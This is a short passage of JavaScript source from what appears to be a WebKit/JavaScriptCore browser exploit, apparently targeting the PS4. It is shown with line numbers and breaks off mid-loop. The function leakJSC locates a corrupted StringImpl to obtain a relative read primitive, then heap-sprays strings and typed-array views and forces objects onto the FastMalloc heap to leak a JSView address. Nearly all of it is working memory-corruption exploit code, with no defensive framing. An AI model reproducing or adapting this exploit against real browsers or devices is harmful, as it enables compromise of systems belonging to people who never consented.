()
| 253 | |
| 254 | /* Executed after deleteBubbleTree */ |
| 255 | function leakJSC() { |
| 256 | debug_log("[+] Looking for the smashed StringImpl..."); |
| 257 | |
| 258 | var arr_str = Object.getOwnPropertyNames(g_obj_str); |
| 259 | |
| 260 | /* Looking for the smashed string */ |
| 261 | for (let i = arr_str.length - 1; i > 0; i--) { |
| 262 | if (arr_str[i].length > 0xff) { |
| 263 | debug_log("[+] StringImpl corrupted successfully"); |
| 264 | g_relative_read = arr_str[i]; |
| 265 | g_obj_str = null; |
| 266 | break; |
| 267 | } |
| 268 | } |
| 269 | if (g_relative_read === null) |
| 270 | die("[!] Failed to setup a relative read primitive"); |
| 271 | |
| 272 | debug_log("[+] Got a relative read"); |
| 273 | |
| 274 | var tmp_spray = {}; |
| 275 | for(var i = 0; i < 100000; i++) |
| 276 | tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337; |
| 277 | |
| 278 | let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER); |
| 279 | |
| 280 | /* Spraying JSView */ |
| 281 | let tmp = []; |
| 282 | for (let i = 0; i < 0x10000; i++) { |
| 283 | /* The last allocated are more likely to be allocated after our relative read */ |
| 284 | if (i >= 0xfc00) |
| 285 | g_arr_ab_3.push(new Uint8Array(ab)); |
| 286 | else |
| 287 | tmp.push(new Uint8Array(ab)); |
| 288 | } |
| 289 | tmp = null; |
| 290 | |
| 291 | /* |
| 292 | * Force JSC ref on FastMalloc Heap |
| 293 | * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 |
| 294 | */ |
| 295 | var props = []; |
| 296 | for (var i = 0; i < 0x400; i++) { |
| 297 | props.push({ value: 0x42424242 }); |
| 298 | props.push({ value: g_arr_ab_3[i] }); |
| 299 | } |
| 300 | |
| 301 | /* |
| 302 | * /!\ |
| 303 | * This part must avoid as much as possible fastMalloc allocation |
| 304 | * to avoid re-using the targeted object |
| 305 | * /!\ |
| 306 | */ |
| 307 | /* Use relative read to find our JSC obj */ |
| 308 | /* We want a JSView that is allocated after our relative read */ |
| 309 | while (g_jsview_leak === null) { |
| 310 | Object.defineProperties({}, props); |
| 311 | for (let i = 0; i < 0x800000; i++) { |
| 312 | var v = undefined; |
nothing calls this directly
no test coverage detected